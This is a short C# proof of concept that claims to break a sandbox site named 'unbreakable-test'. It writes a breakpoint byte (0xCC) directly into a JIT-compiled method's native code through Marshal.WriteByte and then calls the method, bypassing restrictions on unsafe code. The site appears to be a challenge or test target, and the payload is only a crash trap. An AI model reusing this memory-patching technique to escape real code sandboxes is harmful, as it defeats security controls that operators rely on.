Proof of concept of (un)safe code breaking https://unbreakable-test.azurewebsites.net/

SafeNotSafe.cs

// proof of concept for breaking https://unbreakable-test.azurewebsites.net/
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
static class Program {
    
    [MethodImpl(MethodImplOptions.NoInlining)]
    public static void MethodToPatch()
    {
    }
    
    static int Run() {
        var method = typeof(Program).GetMethod("MethodToPatch");
        var methodHandle = method.MethodHandle;
        RuntimeHelpers.PrepareMethod(methodHandle);
        var functionPtr = methodHandle.GetFunctionPointer();
        Marshal.WriteByte(functionPtr, 0xCC);
        MethodToPatch();
        return 0;
    }
}